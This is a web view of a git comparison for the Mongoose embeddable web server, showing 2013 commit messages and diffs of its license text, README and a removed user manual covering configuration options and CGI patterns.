Sergey Lyubka 4576b69e30 Initializing remote_ip and remote_port properly 2013-12-31 09:02:24 +00:00
Sergey Lyubka 4fd6eb597d Squashed C++ warning 2013-12-30 12:10:35 +00:00
Sergey Lyubka 257dacd7bb Squashed warning about dangerous optimization 2013-12-30 11:43:07 +00:00
Sergey Lyubka c88b7b19b3 Squashed warning on Windows, using INVALID_SOCKET 2013-12-30 11:35:33 +00:00
Sergey Lyubka 4fbfb5d0d0 Expanded hello example a little 2013-12-27 19:50:14 +00:00
Sergey Lyubka 67c678270e Minor wording changes for feeatures 2013-12-27 18:32:24 +00:00
Sergey Lyubka 049db9015b Mentioned async core 2013-12-26 12:55:50 +00:00
Sergey Lyubka 9dde225b5e Squashed C++ warning in read_from_cgi() 2013-12-26 11:45:44 +00:00
Sergey Lyubka 3a0a22f4cc Add an ability to pass listening socket to mongoose binary 2013-12-26 11:37:52 +00:00
Sergey Lyubka b4a4b15835 Removed old cruft 2013-12-26 11:33:19 +00:00
Sergey Lyubka dca2eab152 removed stdio.h 2013-12-26 10:21:09 +00:00
Sergey Lyubka f9f212442c Added comment 2013-12-26 10:20:02 +00:00
Sergey Lyubka 83793aadde Removed num_threads 2013-12-26 10:14:13 +00:00
Sergey Lyubka f7a705c40a Added multi-threaded example 2013-12-26 10:13:04 +00:00
Sergey Lyubka f5f6edcf5a Added mg_printf() back 2013-12-26 10:12:18 +00:00
Sergey Lyubka 9cb1048c66 Added lightweight feature 2013-12-26 09:33:26 +00:00
Sergey Lyubka 522a7eb554 Added socket functionality 2013-12-24 11:33:56 +00:00
Sergey Lyubka 072833acd5 Squashed win32 warnings 2013-12-23 10:01:11 +00:00
Sergey Lyubka a5aa08e408 Restored post.c in windows example build 2013-12-23 08:09:59 +00:00
Sergey Lyubka 12d98a1732 Restores post.c example 2013-12-23 08:06:35 +00:00
Sergey Lyubka a6c2c2a10b Comparing URI prefix when looking for URI handler 2013-12-23 08:06:10 +00:00
Sergey Lyubka fbe1914226 Copy -> Download and copy 2013-12-23 07:22:05 +00:00
Sergey Lyubka 64a744055f Added notes on buffering POST data and websocket data 2013-12-22 08:27:23 +00:00
Sergey Lyubka 0007e47c07 Build command re-worded 2013-12-22 08:27:02 +00:00
Sergey Lyubka 4708cce8bd mg_poll_server() returns currect time. add mg_set_listening_socket() and mg_get_listening_socket() 2013-12-21 20:52:54 +00:00
Sergey Lyubka 3eb9156e60 calling iterate_over_connections() from the IO thread 2013-12-21 20:26:55 +00:00
Sergey Lyubka 2990f9328a struct linked_list_link -> struct ll 2013-12-21 20:10:08 +00:00
Sergey Lyubka a0befd65a0 Nitpick wording 2013-12-21 16:06:00 +00:00
Sergey Lyubka 872ad8badf Added NO_* and USE_* flag descriptions 2013-12-21 16:04:22 +00:00
Sergey Lyubka 0970e080d9 Added OpenSSL support 2013-12-21 15:50:11 +00:00
Sergey Lyubka 52fe1461d5 Removed SSI 2013-12-21 14:44:29 +00:00
Sergey Lyubka d5b33adb88 Properly crafting HTTP reply line by parsing CGI reply headers 2013-12-21 10:53:20 +00:00
Sergey Lyubka ec84a148f0 Creating server ctl socket in a loop to protect from interrupt 2013-12-21 10:19:12 +00:00
Sergey Lyubka 77d5d4c921 Added sldr reference 2013-12-21 08:34:02 +00:00
Sergey Lyubka 58dab48156 Using unsigned char in deliver_websocket_frame() arithmetic 2013-12-20 17:59:07 +00:00
Sergey Lyubka 7abb406d0f put_delete_auth_file -> dav_auth_file 2013-12-20 17:57:13 +00:00
Sergey Lyubka b941dcd5c5 Removed throttle option 2013-12-20 13:34:09 +00:00
Sergey Lyubka b7adf9b52a Passing server_param to the URI callback 2013-12-20 09:44:51 +00:00
Sergey Lyubka 28f7d83a74 Commented out chat example, as it is broken atm 2013-12-19 10:46:12 +00:00
Sergey Lyubka 34ee1ef3d6 Commented out chat example, as it is broken atm 2013-12-19 10:45:41 +00:00
Sergey Lyubka e518517456 Commented out chat example, as it is broken atm 2013-12-19 10:42:39 +00:00
Sergey Lyubka 7d0662f1bc Make WEBSOCKET_PING_INTERVAL_SECONDS overridable from the command line 2013-12-18 10:13:31 +00:00
Sergey Lyubka e3751d29d5 Made mongoose send websocket PINGs automatically 2013-12-18 09:35:36 +00:00
Sergey Lyubka 04b9ccca22 Testing server PINGs 2013-12-18 09:35:19 +00:00
Sergey Lyubka 1a17165227 Sending messages every 10 seconds, to allow mongoose send PINGs 2013-12-18 09:34:36 +00:00
Sergey Lyubka b6d968f00c Added qcomm example to the build 2013-12-18 09:33:59 +00:00
Sergey Lyubka a69987a711 Updated internals manual 2013-12-16 13:45:13 +00:00
Sergey Lyubka 492328474d Only hello example left, adopted to the new API 2013-12-16 13:33:50 +00:00
Sergey Lyubka 673a2c581f Removed http client, and examples references 2013-12-16 13:32:54 +00:00
Sergey Lyubka 9ef42621e0 Fixed wrong memset() in scan_directory() 2013-12-15 10:12:19 +00:00
Sergey Lyubka f5865886b2 Respecting -run_as_user 2013-12-12 20:31:43 +00:00
Sergey Lyubka 473e2a1cb2 Added <signal.h> for linux, and squashed warning in transfer_file_data() 2013-12-12 13:51:14 +00:00
Sergey Lyubka 146cf1d1c0 Calling mg_socketpair() in a loop until success. Ignoring SIGPIPE. Squashed waring in mg_start_thread() 2013-12-12 13:43:59 +00:00
Sergey Lyubka ab73055ef3 Added side-effect note for mg_create_server() 2013-12-12 13:41:33 +00:00
Sergey Lyubka 3b83543592 Commented out irrelevant design description 2013-12-10 23:49:37 +00:00
Sergey Lyubka d4ac96c24d Some wording/spelling changes 2013-12-10 23:42:44 +00:00
Sergey Lyubka 0612129a88 Async API 2013-12-10 23:34:08 +00:00
Sergey Lyubka 9bd5903f1d API.md is split to API.md and Embed.md 2013-12-10 11:16:25 +00:00
Sergey Lyubka d4eae0e251 Added minimalistic example 2013-12-10 00:40:32 +00:00
Sergey Lyubka 4d7ea04dd8 Added cast for c++ friendliness 2013-12-10 00:19:33 +00:00
Sergey Lyubka 653fab6b41 Added skeleton lua support 2013-12-09 15:53:35 +00:00
Sergey Lyubka f4c30b746e Switched to async, non-blocking core 2013-12-09 14:18:49 +00:00
Sergey Lyubka 923e5004e8 Added CFLAGS_EXTRA to windows compilation flags 2013-12-09 11:53:55 +00:00
Sergey Lyubka b14a1e25f0 Not generating mongoose.c 2013-12-08 18:39:03 +00:00
Sergey Lyubka 5a3b1123f6 tests moved under build 2013-12-07 17:47:14 +00:00
Sergey Lyubka 6a9494b683 Added mg_get_var() to core, with unit test 2013-12-07 17:46:56 +00:00
Sergey Lyubka 63c5658a2b Fixed lua compilation under linux 2013-12-07 17:45:59 +00:00
Sergey Lyubka fe087cdce9 Fixed lsp_sock_send(), return value 2013-12-07 17:45:34 +00:00
Sergey Lyubka af7efd980c Adjusting unit test for core 2013-12-06 22:14:55 +00:00
Sergey Lyubka 2cb325c981 Added DAV to core 2013-12-06 16:01:41 +00:00
Sergey Lyubka 66435a7158 Removed speed limit feature 2013-12-06 13:02:44 +00:00
Sergey Lyubka 48417ba911 Formatting change in overview 2013-12-06 13:00:33 +00:00
Sergey Lyubka f39c4c8909 Added directory listing support to core 2013-12-06 12:55:28 +00:00
Sergey Lyubka 2a7e720f12 app code moved to qcomm.c 2013-12-06 08:53:30 +00:00
Sergey Lyubka ec22250d9b Added mg_iterate_over_connections(), mg_websocket_write() 2013-12-06 08:52:42 +00:00
Sergey Lyubka a7889756a9 Made qcomm example compile 2013-12-06 08:23:26 +00:00
Sergey Lyubka 9ac67770eb mongoose5 example 2013-12-05 23:16:12 +00:00
Sergey Lyubka 3330bca4be Using mg_handler_t 2013-12-05 16:21:53 +00:00
Sergey Lyubka 31f0409bf9 Added CGI endpoint 2013-12-05 15:03:38 +00:00
Sergey Lyubka ebf9ee089b Do not send 500 when timing out getreq() 2013-12-05 11:12:07 +00:00
Sergey Lyubka 88cf329490 Closing connection on 5xx errors 2013-12-05 10:47:03 +00:00
Sergey Lyubka bba29d32ce Using socketpair for inter-thread communication 2013-12-05 10:01:11 +00:00
Sergey Lyubka 2f1f408882 Added qc test 2013-12-05 04:14:58 +00:00
Sergey Lyubka 46a9e42b8f Async websockets work 2013-12-05 04:14:10 +00:00
Sergey Lyubka 58d3abe165 Fixed iterate_callback() 2013-12-05 00:52:42 +00:00
Sergey Lyubka 03e737829a Made URI handler work 2013-12-05 00:22:21 +00:00
Sergey Lyubka 95d8881454 Fixed spool() to properly resize, commented out non-implemented API 2013-12-04 10:19:55 +00:00
Sergey Lyubka a50a52ca91 Fixed #259 2013-12-04 10:11:12 +00:00
Sergey Lyubka 50371ef309 Introduced file_stat_t to use 64 bit file support on Windows 2013-12-03 12:08:45 +00:00
Sergey Lyubka 6192d1b53a Added send_http_error() 2013-12-03 11:12:43 +00:00
Sergey Lyubka daa9175139 Added caching support (304 response) 2013-12-03 11:01:43 +00:00
Sergey Lyubka 8a65611a8c Using core.h and modified API 2013-12-02 22:22:22 +00:00
Sergey Lyubka 6c8a0aa768 denying directory accesses 2013-12-01 10:49:25 +00:00
Sergey Lyubka 787b15551d builtin mime types defs moved to top 2013-12-01 10:28:00 +00:00
Sergey Lyubka 2c896e7e5c Added proper static file handling, but range support is still broken 2013-12-01 10:25:31 +00:00
Sergey Lyubka 0e49214c7e Added mutex protection for write calls 2013-12-01 09:46:05 +00:00
Sergey Lyubka 914606a046 fmtspool() -> mg_write() 2013-12-01 07:44:38 +00:00
Sergey Lyubka b30417e908 Made core c++ friendly 2013-12-01 00:42:04 +00:00
Sergey Lyubka 5b8d4cdf68 main(argc,argv) -> main(void) 2013-12-01 00:35:22 +00:00
Sergey Lyubka ba06d135c3 Added call_user() 2013-12-01 00:33:26 +00:00
Sergey Lyubka f0d3d7e81d Cleaning up ctl sockets 2013-11-30 23:59:53 +00:00
Sergey Lyubka d1bd15291e request pipelining done 2013-11-30 23:23:38 +00:00
Sergey Lyubka d00b7f4300 Serving files 2013-11-28 20:44:11 +00:00
Sergey Lyubka ebc909b61b Added copyright 2013-11-27 14:10:51 +00:00
Sergey Lyubka 537fb39b21 Async, non-blocking experiment 2013-11-27 14:09:34 +00:00
Sergey Lyubka e106151072 Showing port number on mongoose icon context menu 2013-11-26 22:17:29 +00:00
Sergey Lyubka 257de0709f Better wording for put_delete_auth_file option 2013-11-25 17:06:24 +00:00
Sergey Lyubka 774a819e76 Better description for put_delete_auth_file option 2013-11-25 17:05:12 +00:00
Sergey Lyubka ff1412f29d Better description for put_delete_auth_file option 2013-11-25 17:04:41 +00:00
Sergey Lyubka c6606c714f Removed symbian-specific #defines. Nokia and Symbian got killed by Microsoft. 2013-11-25 14:32:33 +00:00
Sergey Lyubka de3d4e3019 Formatted hyperlinks 2013-11-25 13:45:48 +00:00
Sergey Lyubka 2f49e63d5b Moved docstrings to API.md 2013-11-25 13:43:12 +00:00
Sergey Lyubka 988b40f70d Moved webdav functions into webdav.c 2013-11-24 17:33:05 +00:00
Sergey Lyubka b5fdd48d76 Moved websocket functions into websocket.c 2013-11-24 17:29:21 +00:00
Sergey Lyubka f4f73a8dfa Init vars in handle_cgi_request() 2013-11-23 15:04:35 +00:00
Sergey Lyubka 74711c686f Added directory scanning example, and enabled posix routines in Lua for unix environment 2013-11-23 13:58:27 +00:00
Sergey Lyubka 78c994f7cc Added /I. for CL flags 2013-11-23 13:58:01 +00:00
Sergey Lyubka 2d5d668863 Squashed warning 2013-11-23 13:48:55 +00:00
Sergey Lyubka 87279f3518 Throttling functionality removed 2013-11-23 13:47:07 +00:00
Sergey Lyubka bd10a03da0 Throttling functionality removed 2013-11-23 13:46:45 +00:00
Sergey Lyubka d138119d24 Made separate target for mongoose-lua-sqlite 2013-11-23 13:44:33 +00:00
Sergey Lyubka 73019665fa moved mg_upload() into upload.c 2013-11-23 10:49:13 +00:00
Sergey Lyubka 66824e7757 moved CGI and IO into separate files 2013-11-23 10:47:35 +00:00
Sergey Lyubka 7fe6b29218 mg_get_cookie() moved to string.c 2013-11-23 10:32:43 +00:00
Sergey Lyubka ebdf973af9 log_access() moved to log.c 2013-11-23 10:31:24 +00:00
Sergey Lyubka 71dd7a96c7 mg_url_decode() moved to string.c 2013-11-23 10:26:28 +00:00
Sergey Lyubka 886dcb3f5d get_request_len() moved to string.c 2013-11-23 10:25:20 +00:00
Sergey Lyubka 37751a2875 directory ops moved to directory.c 2013-11-23 10:24:25 +00:00
Sergey Lyubka 45347bd44c Moved mime-type functions to mime.c 2013-11-23 07:48:46 +00:00
Sergey Lyubka 8c4521af03 moved remove_double_dots_and_double_slashes() to string.c 2013-11-23 07:46:11 +00:00
Sergey Lyubka 0d2a8db626 Added #define for WSAPoll 2013-11-22 13:39:57 +00:00
Sergey Lyubka e791a795b4 typo fixed 2013-11-22 08:45:04 +00:00
Sergey Lyubka 03d846529d Update README.md 2013-11-13 03:04:31 +00:00
Sergey Lyubka 607651a3ff Squashed warning for MG_REQUEST_END 2013-11-11 17:18:48 +00:00
Sergey Lyubka 0714e0dd8f Updated Android build 2013-11-04 21:15:01 +00:00
Sergey Lyubka 224d18589f Fixed -DNO_SSL build 2013-11-02 10:24:30 +00:00
Sergey Lyubka 2fd7191836 Squashed C++ void * casting warning 2013-10-30 23:04:35 +00:00
Sergey Lyubka 853d162b55 removed double def for ssl_sw 2013-10-30 23:02:36 +00:00
Sergey Lyubka 762a68a0cf Moved some docs to markdown 2013-10-30 23:02:15 +00:00
Sergey Lyubka 1da098671e Moved docstrings to API.md 2013-10-19 14:07:46 -07:00
Sergey Lyubka f852a4db0f Moved docstrings to API.md 2013-10-19 13:14:16 -07:00
Sergey Lyubka ddea940690 Docs added 2013-10-18 08:57:59 -07:00
Sergey Lyubka 292e43b41b Removed unit test dependency 2013-10-15 13:11:47 -07:00
Sergey Lyubka 915e923e35 Firing MG_HTTP_ERROR 2013-10-10 07:46:19 -07:00
Sergey Lyubka e6ac3af454 Removed debug message 2013-10-07 17:29:53 +01:00
Sergey Lyubka 3adaf8dba9 Reaping zombies properly 2013-10-07 17:29:07 +01:00
Sergey Lyubka 1777cc6e86 Squashed warning 2013-10-07 17:28:53 +01:00
Sergey Lyubka f9f623bd60 c# example synced to the current version, and tested 2013-10-06 12:16:46 +01:00
Sergey Lyubka fe95707b4e Rewording 2013-10-06 07:24:34 +01:00
Sergey Lyubka a631ee1e1e Service code refactored 2013-10-05 07:45:05 +01:00
Sergey Lyubka 493666dac6 Wording and links corrected 2013-10-03 19:34:27 +01:00
Sergey Lyubka 46ef4e33c8 Wording and links corrected 2013-10-03 19:34:00 +01:00
Sergey Lyubka cafaecfc56 Moved HTTP client, ssl and some util code into separate files 2013-10-03 19:09:35 +01:00
Sergey Lyubka 47606a71ee Moved unix and win32 code to different files 2013-10-02 23:21:13 +01:00
Sergey Lyubka eedfedd13b Added reference to a relevant pull request in getreq() comment 2013-10-01 19:09:29 +01:00
Sergey Lyubka 87d841d81b Set content_len to 0 for GET requests without Content-Length header. 2013-10-01 18:49:44 +01:00
Sergey Lyubka 5153eebc9b mg_read() does not block on content_len=0. mg_read() reads until socket is closed if content-length is not provided 2013-10-01 17:47:32 +01:00
Sergey Lyubka 70154f6c23 Moved mod_lua.c to src/lua.c 2013-10-01 15:16:09 +01:00
Sergey Lyubka d3577b7877 Moved auth code to separate file 2013-10-01 14:54:26 +01:00
Sergey Lyubka 199e0a330f Moved options handling to src/options.c 2013-09-30 19:57:33 +01:00
Sergey Lyubka a8da1b3334 Moved date parsing in build/src/parse_date.c 2013-09-30 19:51:16 +01:00
Sergey Lyubka 63c19b4631 Moved to unix file format 2013-09-30 13:11:24 +01:00
Sergey Lyubka 1f471e1cf3 Moved string functions to src/string.c 2013-09-30 13:09:16 +01:00
Sergey Lyubka ef28c37529 Removed mg_get_request_info() 2013-09-30 13:02:36 +01:00
Sergey Lyubka cd7e1b9eb7 Moved more ssl defs to internal.h 2013-09-30 12:59:43 +01:00
Sergey Lyubka 226d476856 Moved more defines to internal.h. Squashed some warnings in win32 2013-09-29 23:58:32 +01:00
Sergey Lyubka 21965e0e03 Splitting monolithic mongoose.c to separate files. Amalgamating into mongoose.c for release. 2013-09-29 23:56:59 +01:00
Sergey Lyubka 40ab4a8d3d Fixed websocket example logic when freeing the message, again! 2013-09-29 22:43:58 +01:00
Sergey Lyubka e84d0574fa Fixed websocket example logic when freeing the message 2013-09-29 22:01:31 +01:00
Sergey Lyubka 1a64d37fc7 Fixed mg_websocket_read() 2013-09-29 09:25:47 +01:00
Sergey Lyubka 9cca843a9b Typo fixed 2013-09-29 08:01:14 +01:00
Sergey Lyubka ecbf79135f Refactored API, returned back to event-based handlers. Upload and Websocket API simplified 2013-09-28 11:00:54 +01:00
Sergey Lyubka 96eb48902b Always invoking test 2013-09-28 00:15:24 +01:00
Sergey Lyubka 079c99c47f Started to restore single callback function 2013-09-26 13:25:51 +01:00
Sergey Lyubka 6d2a76b609 Added c# example 2013-09-26 12:50:11 +01:00
Sergey Lyubka 24e0950ca2 Using stdcall for mongoose.dll 2013-09-26 12:49:41 +01:00
Sergey Lyubka 98214ce1a4 Removed init_lua() and open_file() callbacks 2013-09-26 09:35:07 +01:00
Sergey Lyubka 7eed7eab36 Added mongoose.dll target 2013-09-26 09:34:36 +01:00
Sergey Lyubka f0fb5c01a2 Added unit_test.c dependency for unix_unit_test 2013-09-25 22:58:36 +01:00
Sergey Lyubka a92aa3bf49 Added unix_unit_test as a dependancy for mongoose 2013-09-25 18:37:17 +01:00
Sergey Lyubka b12cc9fd49 Refactored handle_options_request() to use mg_write() with less copying 2013-09-25 18:30:51 +01:00
Sergey Lyubka a61c3a2636 Added handle_delete_request(). Refactored convert_uri_to_file_name() 2013-09-25 18:24:36 +01:00
Sergey Lyubka 9fd435059f Setting user_data for fake connection 2013-09-25 14:28:09 +01:00
Sergey Lyubka 3156ac9791 read_websocket(): check for WEBSOCKET_OPCODE_CLOSE corrected 2013-09-25 14:25:14 +01:00
Sergey Lyubka b946f33189 Moved more docs to the web site 2013-09-24 11:24:10 +01:00
Sergey Lyubka 1e0b7054e6 Added mongoose.h to the mongoose.c dependancy 2013-09-24 11:23:51 +01:00
Sergey Lyubka 46e04e857c Added test for dir with non-ascii char 2013-09-24 10:08:39 +01:00
Sergey Lyubka 4abdeaddbf Docs reference moved to downloads section 2013-09-20 13:30:20 +01:00
Sergey Lyubka 029af1c376 Docs moved to Cesanta site 2013-09-20 13:27:48 +01:00
Sergey Lyubka c02f2ff4bb Update instruction to clone Git repo rather then using tarball 2013-09-18 09:52:06 +01:00
Sergey Lyubka f74fec8a7e Split docs by sections 2013-09-18 09:44:12 +01:00
Sergey Lyubka 50f8e8891b Removed references to usermanual.md 2013-09-18 09:44:00 +01:00
Sergey Lyubka d67b1dbd53 Added CommonProgramFiles(x86) to the CGI environment under Win32, to make Win32::OLE work under CGI 2013-09-18 08:11:37 +01:00
Sergey Lyubka b0eeb7d67b Renamed retina icons to @2x.png 2013-09-18 08:07:44 +01:00
Sergey Lyubka 2c6c75cbad Added icns icon file 2013-09-18 08:07:24 +01:00
Sergey Lyubka 241388b8a0 Using icns as bundle icon file 2013-09-18 08:07:06 +01:00
Sergey Lyubka 820b497f42 Installing icns file in DMG 2013-09-18 08:06:48 +01:00
Sergey Lyubka 88d8435a02 mongoose_22x22.png -> mongoose_22x22, let OS get Retina icon automatically 2013-09-18 08:06:08 +01:00
Sergey Lyubka f3f177f3ed Removed analytics tracking 2013-09-17 16:47:27 +01:00
Sergey Lyubka bfa171cd97 Squashed warning: added #include <direct.h> for windows getcwd() 2013-09-17 16:14:50 +01:00
Sergey Lyubka 19c94ce218 Fix for the issue 109 2013-09-17 16:09:00 +01:00
Sergey Lyubka 5e5033a0f3 Fix for the issue 156 2013-09-16 23:25:30 +01:00
Sergey Lyubka 411a269991 valenok -> cesanta 2013-09-16 22:45:19 +01:00
Sergey Lyubka bca6aab5a5 Moved UserManual to docs/ 2013-09-16 22:42:29 +01:00
Sergey Lyubka 330e2ff74e Fixed macos build target 2013-09-16 22:42:18 +01:00
Sergey Lyubka eb5848478c Added credits section mentioning those great who contributed 2013-09-12 17:30:03 +01:00
Sergey Lyubka 5bb361b1d2 Squashed warnings 2013-09-12 10:03:04 +01:00
Sergey Lyubka 0d40364089 Removed unused stuff, lua & ssl sources, reorganized targets. 2013-09-12 10:02:50 +01:00
Sergey Lyubka 16c4fe1f37 4.1 -> 4.2 2013-09-07 22:05:39 +01:00
Sergey Lyubka 3070e8572d removed file locking on windows, to fix the crash introduced by 52e3be5c58 2013-09-07 22:04:59 +01:00
Sergey Lyubka baf4d8af27 Mongoose_$V.dmg -> Mongoose-$V.dmg 2013-09-07 22:04:09 +01:00
Sergey Lyubka d5acf2e2a7 4.0 -> 4.1 2013-09-07 20:21:27 +01:00
94 changed files with 7620 additions and 179566 deletions

No files matched your search

+2 -2
View File
@@ -5,7 +5,7 @@ All rights reserved
This code is dual-licensed: you can redistribute it and/or modify This code is dual-licensed: you can redistribute it and/or modify
it under the terms of the GNU General Public License version 2 as it under the terms of the GNU General Public License version 2 as
published by the Free Software Foundation. For the terms of this published by the Free Software Foundation. For the terms of this
license, see <http://www.gnu.org/licenses/>. license, see <http://www.gnu.org/licenses>.
You are free to use this code under the terms of the GNU General You are free to use this code under the terms of the GNU General
Public License, but WITHOUT ANY WARRANTY; without even the implied Public License, but WITHOUT ANY WARRANTY; without even the implied
@@ -13,4 +13,4 @@ warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU General Public License for more details. See the GNU General Public License for more details.
Alternatively, you can license this code under a commercial Alternatively, you can license this code under a commercial
license, as set out in <http://cesanta.com/products.html>. license, as set out in <http://cesanta.com/>.
+51 -45
View File
@@ -1,57 +1,63 @@
# Project Mission # Mongoose Web Server
Project mission is to provide easy to use, powerful, embeddable web server. Mongoose is easy to use, powerful, embeddable web server.
* [Mailing list](http://groups.google.com/group/mongoose-users)
* [Downloads & Documentation](http://cesanta.com/mongoose.shtml)
* [How to use Lua Server Pages](http://cesanta.com/docs/Lua.shtml)
* [How to create basic website with Mongoose](http://cesanta.com/docs/BasicWebsite.shtml)
* [How to create PHP website with Mongoose](http://cesanta.com/docs/PhpWebsite.shtml)
* [Embedding Guide](http://cesanta.com/docs/Embed.shtml)
# Downloads # Features
Sources, binaries and bundles are available for download at - Works on Windows, Mac, UNIX/Linux, iPhone, Android, and many other platforms
[mongoose downloads](http://cesanta.com/downloads.html). - CGI, SSI, SSL, Digest auth, Websocket, WEbDAV, Resumed download, URL rewrite, file blacklist, Custom error pages, Virtual hosts, IP-based ACL, Windows service
- Scripting and database support ([Lua](http://lua.org) +
# Overview [Sqlite](http://sqlite.org), see
[dirscan.lp](https://github.com/cesanta/mongoose/blob/master/examples/lua/dirscan.lp) ),
Mongoose keeps the balance between functionality and
simplicity by carefully selected list of features:
- Works on Windows, Mac, UNIX, iPhone, Android, and many other platforms
- Scripting and database support (Lua Server Pages + Sqlite, see
[page.lp](https://github.com/valenok/mongoose/blob/master/test/page.lp) ),
which provides ready to go, powerful web development platform in which provides ready to go, powerful web development platform in
one single-click executable with **no dependencies**: forget LAMP! one single-click executable with no dependencies
- Support for CGI, SSL, SSI, Digest (MD5) authorization, Websocket, WEbDAV - Simple and clean
- Resumed download, URL rewrite, file blacklist, IP-based ACL, Windows service [embedding API](https://github.com/cesanta/mongoose/blob/master/mongoose.h).
- Download speed limit based on client subnet or URI pattern
- Simple and clean embedding API,
[mongoose.h](https://github.com/valenok/mongoose/blob/master/mongoose.h).
The source is in single The source is in single
[mongoose.c](https://github.com/valenok/mongoose/blob/master/mongoose.c) file [mongoose.c](https://github.com/cesanta/mongoose/blob/master/mongoose.c) file
to make things easy. Embedding examples: to make embedding easy
[hello.c](https://github.com/valenok/mongoose/blob/master/examples/hello.c), - Extremely lightweight, has a core of under 40kB and tiny runtime footprint
[post.c](https://github.com/valenok/mongoose/blob/master/examples/post.c), - Asyncronouns, non-blocking core supporting single- or multi-threaded usage
[upload.c](https://github.com/valenok/mongoose/blob/master/examples/upload.c), - On the market since 2004, stable, mature and tested,
[websocket.c](https://github.com/valenok/mongoose/blob/master/examples/websocket.c) has several man-years invested in continuous improvement and refinement
- HTTP client capable of sending arbitrary HTTP/HTTPS requests - Professional support and consultancy available from
- [User Manual](https://github.com/valenok/mongoose/blob/master/UserManual.md) [Cesanta Software](http://cesanta.com), developer of Mongoose
Note that Windows and MacOS binaries have following 3rd party software # Acknowledgements
compiled in:
<a href="http://wolfssl.com">WolfSSL lightweight SSL library</a>,
<a href="http://sqlite.org">SQLite embedded database</a>,
<a href="http://lua.org">Lua embedded scripting engine</a>.
Questions can be asked at Mongoose made better thanks to the contribution of following people:
[mongoose-users@googlegroups.com](http://groups.google.com/group/mongoose-users)
mailing list.
[![&nbsp;](https://cruel-carlota.pagodabox.com/2a613890c1f4b60e5919a9c1dd3caca2 "githalytics.com")](http://githalytics.com/valenok/mongoose) Arnout Vandecappelle, Benoît Amiaux, Boris Pek, Cody Hanson, Colin Leitner,
Daniel Oaks, Eric Bakan, Erik Oomen, Filipp Kovalev, Ger Hobbelt,
Hendrik Polczynski, Igor Okulist, Jay, Joe Mucchiello, John Safranek,
José Miguel Gonçalves, Shueng Chuan, Katerina Blinova, Konstantin Sorokin,
Marin Atanasov, Matt Healy, Mitch Hendrickson, Nigel Stewart, Pavel Khlebovich,
Sebastian Reinhard, Stefan Doehla, abadc0de, nullable.type,
T.Barmann, D.Hughes, J.C.Sloan, R.Romeo, L.E.Spencer, S.Kotay, R.M.Shorter,
W.Mar, J.Wilander, Santa from Memphis, S.Davies, C.Beck,
O.M.Vilhunen, C.Radik, G.Woodcock, M.Szczepkowski,
Eternal Lands Dev Team, T.Tollet, C.Tangerino, G.Karsai, A.Bourgett,
C.Blakemore, D.Fonaryov, T.Andrle, O.IJsselmuiden, R.Womack, M.Tomlinson,
A.Slåttå, L.Farrell, J.D.P.Ballestero, V.Albaev, B.Harker, T.Scheffel, H.Klein,
R.Merit, T.Bennett, H.Solis, A.Zincenko, M.S., S.Krul, K.Cooke, S.McCallum,
F.Morenius, and 10 others.
# Licensing
# License Mongoose is released under
[GNU GPL v.2](http://www.gnu.org/licenses/old-licenses/gpl-2.0.html).
Businesses have an option to get non-restrictive, royalty-free commercial
license and professional support from
[Cesanta Software](http://cesanta.com).
Mongoose is dual-licensed. It is available under the terms of [Frozen JSON parser](https://github.com/cesanta/frozen),
[GNU GPL v.2](http://www.gnu.org/licenses/old-licenses/gpl-2.0.html) license [Super Light Regular Expression library](https://github.com/cesanta/slre),
license for free, or under the terms of standard commercial license provided [Super Light DNS Resolver](https://github.com/cesanta/sldr)
by [Cesanta Software](http://cesanta.com). are other projects by Cesanta Software, developed with the same philosophy
[Super Light Regular Expression library](https://github.com/cesanta/slre) is
another project by Cesanta Software, developed with the same philosophy
of functionality and simplicity. of functionality and simplicity.
-547
View File
@@ -1,547 +0,0 @@
# Overview
Mongoose is small and easy to use web server. It is self-contained, and does
not require any external software to run.
On Windows, mongoose iconifies itself to the system tray icon when started.
Right-click on the icon pops up a menu, where it is possible to stop
mongoose, or configure it, or install it as Windows service. The easiest way
to share a folder on Windows is to copy `mongoose.exe` to a folder,
double-click the exe, and launch a browser at
[http://localhost:8080](http://localhost:8080). Note that 'localhost' should
be changed to a machine's name if a folder is accessed from other computer.
On UNIX and Mac, mongoose is a command line utility. Running `mongoose` in
terminal, optionally followed by configuration parameters
(`mongoose [OPTIONS]`) or configuration file name
(`mongoose [config_file_name]`) starts the
web server. Mongoose does not detach from terminal. Pressing `Ctrl-C` keys
would stop the server.
When started, mongoose first searches for the configuration file.
If configuration file is specified explicitly in the command line, i.e.
`mongoose path_to_config_file`, then specified configuration file is used.
Otherwise, mongoose would search for file `mongoose.conf` in the same directory
where binary is located, and use it. Configuration file can be absent.
Configuration file is a sequence of lines, each line containing
command line argument name and it's value. Empty lines, and lines beginning
with `#`, are ignored. Here is the example of `mongoose.conf` file:
document_root c:\www
listening_ports 8080,8043s
ssl_certificate c:\mongoose\ssl_cert.pem
When configuration file is processed, mongoose process command line arguments,
if they are specified. Command line arguments therefore can override
configuration file settings. Command line arguments must start with `-`.
For example, if `mongoose.conf` has line
`document_root /var/www`, and mongoose has been started as
`mongoose -document_root /etc`, then `/etc` directory will be served as
document root, because command line options take priority over
configuration file. Configuration options section below provide a good
overview of Mongoose features.
Note that configuration options on the command line must start with `-`,
but their names are the same as in the config file. All option names are
listed in the next section. Thus, the following two setups are equivalent:
# Using command line arguments
$ mongoose -listening_ports 1234 -document_root /var/www
# Using config file
$ cat mongoose.conf
listening_ports 1234
document_root /var/www
$ mongoose
Mongoose can also be used to modify `.htpasswd` passwords file:
mongoose -A <htpasswd_file> <realm> <user> <passwd>
Unlike other web servers, mongoose does not require CGI scripts be located in
a special directory. CGI scripts can be anywhere. CGI (and SSI) files are
recognized by the file name pattern. Mongoose uses shell-like glob
patterns. Pattern match starts at the beginning of the string, so essentially
patterns are prefix patterns. Syntax is as follows:
** Matches everything
* Matches everything but slash character, '/'
? Matches any character
$ Matches the end of the string
| Matches if pattern on the left side or the right side matches.
All other characters in the pattern match themselves. Examples:
**.cgi$ Any string that ends with .cgi
/foo Any string that begins with /foo
**a$|**b$ Any string that ends with a or b
# Configuration Options
Below is a list of configuration options Mongoose understands. Every option
is followed by it's default value. If default value is not present, then
it is empty.
### cgi_pattern `**.cgi$|**.pl$|**.php$`
All files that match `cgi_pattern` are treated as CGI files. Default pattern
allows CGI files be anywhere. To restrict CGIs to a certain directory,
use `/path/to/cgi-bin/**.cgi` as pattern. Note that full file path is
matched against the pattern, not the URI.
### cgi_environment
Extra environment variables to be passed to the CGI script in
addition to standard ones. The list must be comma-separated list
